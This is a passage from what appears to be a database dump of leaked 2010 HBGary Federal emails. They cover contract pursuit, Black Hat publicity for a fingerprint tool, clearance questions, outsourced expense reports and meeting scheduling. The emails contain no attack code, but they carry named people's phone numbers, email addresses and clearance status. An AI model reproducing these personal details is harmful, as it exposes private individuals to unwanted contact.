small app developers.   We, truly have the team to beat on this!  Let me know if you need more info.  Thanks,  Chris Clair  -----Original Message----- From: Pisani, Albert A. (TASC) Sent: Thursday, July 15, 2010 2:52 PM To: Aaron Barr; Clair, Chris (TASC) Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy (TASC); Ted Vera Subject: RE: EXTERNAL:  Aaron:  This is excellent news.  All - What progress has been made in identifying and capturing key folks that are currently in place supporting the customer?  Thanks.  AL  -----Original Message----- From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, July 15, 2010 2:25 PM To: Clair, Chris (TASC) Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Ted Vera Subject: EXTERNAL:  Coin update.  I had good conversations with Mary beth, John, and Marek today.&nbsp; I chided them a bit for not getting the rfp out and they said it looks like they will be able to get it out in august.&nbsp; John is still very dissatisfied with current work and said they need some of the innovation like they used to have.&nbsp; :)  We talked a lot about mobile and social media and the quickly changing landscape.  Based on wonderful meetings yesterday and today and our strategy/team i think we are the team to beat.&nbsp; I talked to John about general capabilities I think his shop needs and he agreed.&nbsp; This fits right in our strategy.  Aaron  Sent from my iPad    ',274,'aaron_hbgary_com/274.html'),(8929,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006836.M487349P14101Q3784.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Another good test...','\r\n\r\nLet&#39;s see how they do with this...\r\nAttached is a receipt, along with a partially completed expense report. Can you please transcribe the remaining line item(s) from the receipt onto the expense report, and fill in any fields you can (date, etc). The expense report must account for each line item on the receipt and the total dollar amounts should match up between the receipt and the expense report. I have several of these that I need to do. If I send you additional receipts along with the blank expense report, can you complete them for me? If this is considered a basic task, I think it would be a great help to me.\r\n\r\n\r\nStatus: Pending\r\n\r\nFiles Attached:\r\n\r\n\r\nMiscellaneous_and_Local_Expenses.xls\r\n\r\nGigabit_Switch_UPS_Receipt.jpg\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5062,'aaron_hbgary_com/5062.html'),(8930,'2010-07-20','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297006836.M774859P14101Q3785.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Clearance ...','Aaron...?- IraBegin forwarded message:From: \"Taylor, David A\" &lt;dataylor@lanl.gov&gt;Date: July 20, 2010 6:42:19 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Subject: Clearance ...\r\n\r\n\r\n\r\nIra, Jerry\r\n\r\n&nbsp;\r\n\r\nI seem to remember that the HBGary guys were DoD cleared.\r\n\r\nIf so, my folks will want to know at what level, CNDWI?\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\ndat\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9614,'aaron_hbgary_com/9614.html'),(8931,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006837.M12227P14101Q3786.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Call agenda','Ok I will start writing it.Sent from my iPhoneOn Jul 20, 2010, at 4:04 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nSee below.&nbsp; Karen wants you to have a blog ready to go once Fingerprint\r\ntool is released.&nbsp; While at BH, we should get people to join the\r\nFingerprint/IOC alliance.&nbsp; We can make a joint announcement around end of\r\nAugust.&nbsp; THoguhts?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Tuesday, July 20, 2010 11:57 AM\r\nTo: Penny Leavy\r\nSubject: Call agenda\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Penny, I left you a v-mail for our 11 AM call.&nbsp;I\r\nhave to leave at 12:45 PM for most of the afternoon, but feel free to call me\r\non my cell. Here is what I wanted to cover on our call. Let\'s reschedule as\r\nsoon as&nbsp; possible. Basically, I want to be sure we are all buttoned up re\r\nBH -- see below:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n Black Hat: Fingerprint Freeware\r\n     writeup-&gt;&nbsp;what is status; coordinate posting to HBGary site (12 PM\r\n     PT Wedn. July 28th); availability for press interviews (inperson and by\r\n     phone) following Greg\'s talk. I propose we don\'t do a press release;\r\n     instead, we announce over Twitter and direct outreach to our\r\n     reporters/analysts.&nbsp; \r\n Pending media interviews: CNET and\r\n     VentureBeat-&gt;waiting on reporters\' availability; discuss other outreach\r\n     to national security press&nbsp;\r\n HBGary BH Booth announcement: Confirm when we\r\n     announce our booth presence -&gt;Tuesday July 27th?\r\n Possible Aaron Barr blogposting on Fingerprint\r\n     tool: I think Aaron did a very good job in yesterday\'s&nbsp;providing his\r\n     perspective on importance&nbsp;of Fingerprint tool to government/securitiy/industry\r\n     at large. I propose he write it up as a blog and we post when tool is\r\n     released.\r\n Twitter button/my contact info on HBGary site:\r\n     I\'ve sent messages to Charles to help me get this up; no response. Any\r\n     ideas, please let me know.&nbsp;\r\n Inoculator: Greg had expressed&nbsp; interest in\r\n     releasing prior to BH. At this point, I think we are too close to the show\r\n     to release it. All the press has been around Fingerprint. I recommend we\r\n     release same day as Fingerprint&nbsp; or AFTER BH to get better coverage.\r\n Website: Still would like to talk to you about\r\n     site info organization/presentation. Also have you ever used Google\r\n     Analytics? Would you be interested?\r\n Dana Priest: Saw your note re Jon Ward; explain\r\n     what you meant re following up with Dana. \r\n Budget for July-&gt; I&nbsp;have already billed\r\n     $2500 for this month. Can I get extended budget for this month? I probably\r\n     need another 10-15 hours.\r\n Vacation: Taking time off in August: Au.9-11;\r\n     16th-18th.\r\n Forrester call tentatively scheduled now for\r\n     Friday July 23rd at 11 AM PT; Jonathan apologized for mixup on dialins.\r\n     Waiting on their new dial-iin before I send calendar invite.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12667,'aaron_hbgary_com/12667.html'),(8932,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006837.M247876P14101Q3787.eml','\"Aaron Barr\" <adbarr@mac.com>','A Look Back at the Last 5 Years in Social Media','A Look Back at the Last 5 Years in Social MediaIn honor of Mashable’s five-year anniversary, this series is supported by IDG. Customers are talking about your brand and products — find out what they are saying with IDG Social Scout.Five years ago, YouTube was just getting started, MySpace was the most popular website in the U.S., and Facebook was still limited to college and high school students.  Mobile was mostly an after-thought, as we were still more than a year away from the introduction of the iPhone and the idea of an app store.  And “widgets” were just starting to emerge as a way to integrate third-party apps on a website (Newsweek would declare 2007 to be “year of the widget” in a late 2006 article).Fast forward to today and the sites we use and the way we use them have shifted dramatically. Facebook is closing in on Google as the Web’s most trafficked site.  There are hundreds of thousands of mobile applications that users access across a variety of smartphones, and social media is increasingly being consumed and produced on the go.  And “Like” buttons have become the new form of social currency for publishers around the world.How did we get to this point?  Here’s a quick look back at the last five years in social media.The News Feed Brings It All TogetherIn late 2006, Facebook introduced the news feed – a controversial concept at the time (incidentally, there are many parallels between it and Facebook’s most recent privacy issues) that has since become perhaps the most important and oft-imitated feature in social networking.It’s hard to remember life before the news feed, but it consisted mostly of visiting your friend’s profiles, making wall comments and perhaps maintaining a photo gallery.  For Facebook, this innovation (and a lack of innovation by then leading social network MySpace) is the one that established the service’s utility and has been at the heart of its expansion since — showing you at a glance what your friends are up to on Facebook and around the Web.Nowadays, whether it’s Twitter, Foursquare, Flickr or yes, MySpace, the experience very much centers around seeing the most recent updates from your friends, in reverse-chronological order.Video Emerges as Social Media’s Perfect ComplimentA few months before the birth of Mashable, YouTube made its debut on the Web in February 2005, making an unprecedented ascent into the mainstream consciousness.  By December of that year, it had already become the most popular video site, and by July of 2006, it was serving 100 million video views per day (today, it serves more than 2 billion views daily).  Then, in October, Google bought YouTube for a whopping $1.6 billion, just 18 months after the site launched.At the end of last year, I declared YouTube the top social media innovation of the decade, as it has come to embody so much of what we now know as social media, from highly shareable content to citizen journalism to the ability of anyone with a camera to claim their 15 minutes of fame.Social Networks Spread Their WingsIn early 2008, a new battle in the social media space emerged – the battle over portable identity.  While OpenID had long promised a single sign-on for third-party websites, Facebook, MySpace and Google started to realize that your social networking profile had potential to be used as your identity across the Web, while at the same time enabling publishers to make their sites more social.Facebook Connect emerged, as did Google Friend Connect and MySpaceID.  Eventually, as Twitter’s popularity grew, they also got in the game.  Today, Facebook Connect – which has evolved into the Facebook Open Graph – is used by hundreds of thousands of websites that can add simple copy and paste code to let their visitors “Like” stuff; “Likes” that are then pushed back into the Facebook News Feed.  MySpace and Twitter ultimately hooked up with Google Friend Connect, which is now in use on some 9 million sites.Mobile Makes Social IndispensibleWhile there’s been a running joke that it was going to be “the year of mobile” for about a decade, it’s only within the last few years that smartphone use has exploded, and along with it, use of social media while not in front of a computer.According to data published earlier this year, 30% of smartphone users now access social networking sites from their phone’s web browser – and that doesn’t even take into account people who download apps on their iPhone, Android, BlackBerry or other devices.Thanks to increasing mobile broadband speeds, video is also going mobile.  YouTube now serves up 100 million videos to mobile devices each day, and with more and more new phones offering video capture capabilities, we’re also seeing smartphones become an important part of content production.What’s Next?Now that we’ve established where we are – a social ecosystem that’s moving beyond the walls of individual sites to mobile devices and third-party applications – the question is: what’s next?  Over the next month, we’ll be exploring some of the past five years more in-depth, and concluding with a look at what the next five years hold.  Stay tuned to Mashable as we celebrate our five year anniversary!Series supported by IDGIn honor of Mashable’s five-year anniversary, this series is supported by IDG. Customers are talking about your brand and products — find out what they are saying with IDG’s brand listening services. With IDG Social Scout you can listen to your prospects’ real-time conversations and understand the nature and sentiment of the dialogue. This information is key to help develop marketing messages and content that resonate with your audience.  Learn more about how IDG Social Scout can help you by clicking here.More Social Media Resources From Mashable: - 5 Ways Social Media Helps Promote Good Health - 5 Ways to Build a Loyal Audience on YouTube - 5 Ways to Clean Up Your Social Media Identity - How Social Media is Helping Veterans Connect - Is Social Media Failing to Produce Business Leads?Image courtesy of iStockphoto, AndrewLilleyReviews: Android, BlackBerry Rocks!, Facebook, Flickr, Foursquare, Google, Mashable, MySpace, Twitter, YouTube, google friend connect, iPhone, iStockphotoMore About: facebook, Mobile 2.0, mobile video, myspace, social media, social networking, social-media-retrospective-series, twitter, video, youtubeFor more Social Media coverage:Follow Mashable Social Media on TwitterBecome a Fan on FacebookSubscribe to the Social Media channelDownload our free apps for iPhone and iPad\r\n\r\n\r\n          \r\nSent from my iPhone',4137,'aaron_hbgary_com/4137.html'),(8933,'2010-07-21','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297006837.M566485P14101Q3788.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Shawn Braken\" <shawn@hbgary.com>,\"Michael Snyder\" <michael@hbgary.com>,\"Scott\" <scott@hbgary.com>,\"Charles Copeland\" <Charles@hbgary.com>,\"Alex Torres\" <alex@hbgary.com>,chris@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,\"Shawn Braken\" <shawn@hbgary.com>,\"Michael Snyder\" <michael@hbgary.com>','Dev & Design meeting, Wednesday 10am PST','\r\nWhen: Wednesday, 7-21-2010, 10am PST\r\nWhere: Dev Conference Room\r\nWhat:\r\n\r\n    Design/Brainstorm meeting to talk about the next version of the TMC\r\ndatabase.  Bring use cases, ideas, comments, and of course, requirements.\r\n\r\nWhy:\r\n\r\n    Because it needs to be done sooner rather than later.\r\n\r\nFor those who are off-site, you can send me your input and I\'ll be sure\r\nto bring it up.  We can also try to teleconference/videoconference,\r\nthough it might be hard since there will probably be lots of white boarding.\r\n\r\n- Martin\r\n',14725,'aaron_hbgary_com/14725.html'),(8934,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006837.M823280P14101Q3789.eml','\"Ted Vera\" <ted@hbgary.com>','Brian','Did u send Brian the tool and address?\r\n\r\nSent from my iPhone\r\n',640,'aaron_hbgary_com/640.html'),(8935,'2010-07-21','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006838.M319453P14101Q3791.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','HBGary Federal Included in Washington Post Intelligence Expose','It looks like Washington Post included every Columbia MD company in its big intelligence report published this week  -- including HBGary Federal. http://projects.washingtonpost.com/top-secret-america/search/?keywords=columbia%2C+md&amp;x=0&amp;y=0\r\n\r\n \r\nhttp://projects.washingtonpost.com/top-secret-america/companies/hbgary-federal/\r\n \r\nTo contact Dana Priest to correct her on HBGary Fedearl&#39;s correct location, you should contact her at priestd@washpost.com\r\n \r\n \r\nKaren\r\n \r\n',960,'aaron_hbgary_com/960.html'),(8936,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006838.M43510P14101Q3790.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Brian','Martin is sending me the tool shortly\r\n\r\n\r\n\r\nOn Jul 20, 2010, at 7:27 PM, Aaron Barr  wrote:\r\n\r\n> Did u send Brian the tool and address?\r\n>\r\n> Sent from my iPhone\r\n',10847,'aaron_hbgary_com/10847.html'),(8937,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006838.M543344P14101Q3792.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: TimeSvr: Local Expenses receipt spreadsheet','Sweet. Begin forwarded message:From: &quot;[TimeSvr] Ahad Ashraf&quot; &lt;ahad@timesvr.com&gt;\r\nDate: July 20, 2010 7:35:00 PM MDTTo: Ted@hbgary.comSubject: TimeSvr: Local Expenses receipt spreadsheet\r\nHi Ted,I have transcribed the receipt into the spreadsheet which you provided us. Just for the confirmation, Can you tell me whether I have entered the data correctly or is there any other data which needs to entered. This task can be done under personal plan sine it takes less than 15 min to do :-)\r\n\r\n\r\nOriginal Task:Attached is a receipt, along with a partially completed expense report. \r\n Can you please transcribe the remaining line item(s) from the receipt \r\nonto the expense report, and fill in any fields you can (date, etc).  \r\nThe expense report must account for each line item on the receipt and \r\nthe total dollar amounts should match up between the receipt and the \r\nexpense report.  I have several of these that I need to do.  If I send \r\nyou additional receipts along with the blank expense report, can you \r\ncomplete them for me?  If this is considered a basic task, I think it \r\nwould be a great help to me.-- Kindly Cc all your replies to tasks@timesvr.com or add a response to your task on the TimeSvr Dashboard. \r\nIf there is anything else I can do for you, please let me know.\r\n\r\nHave a Great Day!BestAhad AshrafTimeSvr(415)-315-9651www.TimeSvr.comT: twitter.com/timesvr\r\nF: facebook.com/timesvr\r\n\r\n\r\n&lt;Miscellaneous_and_Local_Expenses.xls&gt;\r\n',3426,'aaron_hbgary_com/3426.html'),(8938,'2010-07-21','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006838.M771090P14101Q3793.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: HBGary Federal Included in Washington Post Intelligence Expose','FYI We also have the top White House correspondent from Politico following us on Twitter...\r\nOn Tue, Jul 20, 2010 at 6:32 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nIt looks like Washington Post included every Columbia MD company in its big intelligence report published this week  -- including HBGary Federal. http://projects.washingtonpost.com/top-secret-america/search/?keywords=columbia%2C+md&amp;x=0&amp;y=0\r\n\r\n \r\nhttp://projects.washingtonpost.com/top-secret-america/companies/hbgary-federal/\r\n \r\nTo contact Dana Priest to correct her on HBGary Fedearl&#39;s correct location, you should contact her at priestd@washpost.com\r\n \r\n \r\nKaren\r\n \r\n',13022,'aaron_hbgary_com/13022.html'),(8939,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006839.M143569P14101Q3794.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Lucas Maria\" <maria@hbgary.com>','Fwd: Accepted: Invitation: Social Media Discussion @ Wed Jul 21 	9:30am - 10:30am (bcoulson@digitalglobe.com)','Brian accepted for tomorrow. TedBegin forwarded message:From: &quot;Brian Coulson&quot; &lt;bcoulson@digitalglobe.com&gt;\r\nDate: July 20, 2010 8:13:23 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Accepted: Invitation: Social Media Discussion @ Wed Jul 21 9:30am - 10:30am (bcoulson@digitalglobe.com)\r\n&lt;meeting.ics&gt;\r\n',15426,'aaron_hbgary_com/15426.html'),(8940,'2010-07-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006839.M381894P14101Q3795.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Great','End product. \r\n\r\n',2010,'aaron_hbgary_com/2010.html'),(8941,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006839.M593872P14101Q3796.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Expense reports','FYI--\r\nAhad, Actually, thats perfect, I wish I had thought of it. I will store it under the accnt that you already have access to, for my google calendar. Thanks again!TedOn Jul 20, 2010, at 8:28 PM, &quot;[TimeSvr] Ahad Ashraf&quot; &lt;ahad@timesvr.com&gt; wrote:\r\nWell I believe the best way is to share this document with Google Docs. It would be a bit complicated to save this document with us because there are aides who works in different timings so every aide will have to save this document with themselves. This would require a Gmail address where we can share this document and in this way each aide would be free to do this task.\r\nI hope this makes sense, if not than do let me know. I&#39;ll try to find a solution :-)On Wed, Jul 21, 2010 at 7:17 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nPerfect, thanks Ahad!  The only other thing is to fill in the date submitted field with today&#39;s date (which I can update on the form so it&#39;s automatic). What would be the best way for me to submit these types of tasks in the future?  Is there a way for TimeSvr to keep a copy of the blank form so I do not need to submit it every time?\r\nThanks for the excellent support Ahad, this will be a real timesaver and a huge help!Warm regards,Ted\r\n',8562,'aaron_hbgary_com/8562.html'),(8942,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006839.M804527P14101Q3797.eml','aaron@hbgary.com','Alarm - SBIR','July 20, 2010 12:00 PM : SBIRNew DOD SBIR requirements will be released on July 20th.&nbsp; Proposals due Aug 17th.STTR Solicitation 2010.B -- will be posted on this Web Site on July 20, 2010; will begin accepting proposals on August 17, 2010; will close to proposals on September 15, 2010.SBIR Solicitation 2010.3 -- will be posted on this Web Site on July 20, 2010; will begin accepting proposals on August 17, 2010; will close to proposals on September 15, 2010.http://www.acq.osd.mil/osbp/sbir/solicitations/index.htm ',4797,'aaron_hbgary_com/4797.html'),(8943,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006840.M21375P14101Q3798.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,','Re: Clearance ...','None of us are DoD cleared. &nbsp;I have an active community clearance (green badge). &nbsp;Ted and Mark have had community clearances within the last 6 months but currently are not cleared.AaronOn Jul 20, 2010, at 7:03 PM, Ira Entis wrote:Aaron...?- IraBegin forwarded message:From: \"Taylor, David A\" &lt;dataylor@lanl.gov&gt;Date: July 20, 2010 6:42:19 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Subject: Clearance ...\r\n\r\nIra, Jerry&nbsp;I seem to remember that the HBGary guys were DoD cleared.If so, my folks will want to know at what level, CNDWI?&nbsp;Thanks&nbsp;dat\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9652,'aaron_hbgary_com/9652.html'),(8944,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006840.M350121P14101Q3799.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: is this good news for HB Gary?','I am on a family vacation starting on Thursday. &nbsp;Lets try to meet up either in Vegas or when we get back. &nbsp;Vegas might be a bit hectic.AaronOn Jul 20, 2010, at 1:33 PM, Sullivan, Mary wrote:Probably can\'t--have customer issue that\'s fluid right now. Friday?Sent from my mobile--excuse typos or brevityOn Jul 20, 2010, at 12:39 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:Can you do lunch in tysons tomorrow?AaronSent from my iPadOn Jul 20, 2010, at 8:01 AM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt; wrote:\r\n\r\n\r\nLove to. I’m free—headed to BlackHat myself…&nbsp;\r\n\r\nMary SullivanD 240-396-2446M 301-980-1308\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 11:12 PM\r\nTo: Sullivan, Mary\r\nSubject: Re: is this good news for HB Gary?\r\n\r\n\r\n\r\n&nbsp;Hey Mary,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJust catching up. &nbsp;Do you have time to meet on\r\nWednesday? &nbsp;I am heading on vacation on Thursday - then Blackhat.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 3:23 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat a PITA—you were perfect for that! Their loss….\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThings are good for me; I’m ahead of plan and looking to add two\r\nnew big customers in Q3 that are both in procurement now. Like to get some\r\nmore. Spent some time with Bob at an event last week and planning to meet Penny\r\nnext time she comes to town. Talk to Maria pretty often.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLet’s grab lunch or coffee when you get a chance.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\n\r\n\r\nD 240-396-2446\r\n\r\n\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, June 30,\r\n2010 3:19 PM\r\nTo:&nbsp;Sullivan, Mary\r\nSubject:&nbsp;Re: is this good\r\nnews for HB Gary?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYes we were, but unfortunately weren\'t selected. &nbsp;We\r\ngot our debrief yesterday. &nbsp;Came down to onerous data rights because of\r\nexisting technology and not enough of the pi and pm time on contract, which was\r\nme and Greg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow are things?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:28 PM, \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think this is one of the ones you were working on?&nbsp;CYBER GENOME PROGRAM.http://www.input.com/getopp.cfm?OppID=61006&amp;PrdctCd=PFOIT&amp;fromEmail=3.OppId: 61006 .Department: DEFENSE / DEFENSE ADVANCED RESEARCH PROJECTS\r\nAGENCY.RFP Date: 2010-01-28.Status: Partial Award.Value($K): 43000.Latest News: The Contracting Office made an award on June\r\n29, 2010 to Lockheed Martin Corporation, under contract # FA8750-10-C0170, for\r\na value of $4,658,267..\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCurious about Fidelis XPS™? Watch video samples here:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7514,'aaron_hbgary_com/7514.html'),(8945,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006840.M642301P14101Q3800.eml','\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>,\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>','Re: SecDev.cyber','Rafal,\r\n\r\nI would like to introduce you to Bill Luti.  Bill held senior positions under the Bush administration related to cybersecurity and is currently heading up the cyber initiatives for Digital Management.  Bill asked me for some recommendations for cyber companies doing good work, with talent and capabilities, so I naturally thought of SecDev.\r\n\r\nAaron\r\n\r\nOn Jul 20, 2010, at 12:20 PM, William Luti wrote:\r\n\r\n> Aaron, forgot to ask if you would be so kind as to introduce me to the SecDev folks. I would greatly appreciate it. Best, Bill\r\n> \r\n> http://cyber.secdev.ca/about/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11134,'aaron_hbgary_com/11134.html'),(8946,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006840.M996927P14101Q3801.eml','\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>,\"Nart Villeneuve\" <nart.villeneuve@utoronto.ca>','Fingerprint Tool','Rafal/Nart,\r\n\r\nI am very interested to talk to you about our fingerprint tool that we will be releasing at blackhat and combined what we might be able to do related to the attribution problem.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2463,'aaron_hbgary_com/2463.html'),(8947,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006841.M222512P14101Q3802.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','John,\r\n\r\nHow about first week of August?  I am on family vacation starting\r\nThursday then blackhat.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n\r\n> Aaron,\r\n> I\'m good later this week or next -- let me know what works for you\r\n>\r\n> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>\r\n>> Hi John,\r\n>>\r\n>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>\r\n>> Let me know when you have some time.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n',15334,'aaron_hbgary_com/15334.html'),(8948,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006841.M480297P14101Q3803.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: Larry Prior Appointed EVP at BAE','Bill,Looking forward to it.  I am out of town starting thursday and won&#39;t be back until the 1st.  How about that week?Aaron\r\nSent from my iPadOn Jul 20, 2010, at 1:59 PM, William Luti &lt;wluti@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\nThanks and very interesting. \r\n\r\n \r\n\r\nNext we meet on TSA Ken Bajaj wants to meet you so let’s\r\nset something up for early next week.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 12:47 PM\r\nTo: William Luti\r\nSubject: Larry Prior Appointed EVP at BAE\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLarry\r\nPrior Appointed EVP at BAE\r\nLarry Prior has been appointed executive vice president, Service Sectors for\r\nBAE Systems, Inc. The move follows Prior’s resignation announcement late\r\nyesterday from ManTech. In his new role, Prior will report to Linda Hudson,\r\npresident and CEO of BAE North America. “Larry’s fresh perspective,\r\nproven track record, and diverse experience will enable BAE Systems to [...]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13938,'aaron_hbgary_com/13938.html'),(8949,'2010-07-21','\"Aaron Barr\" 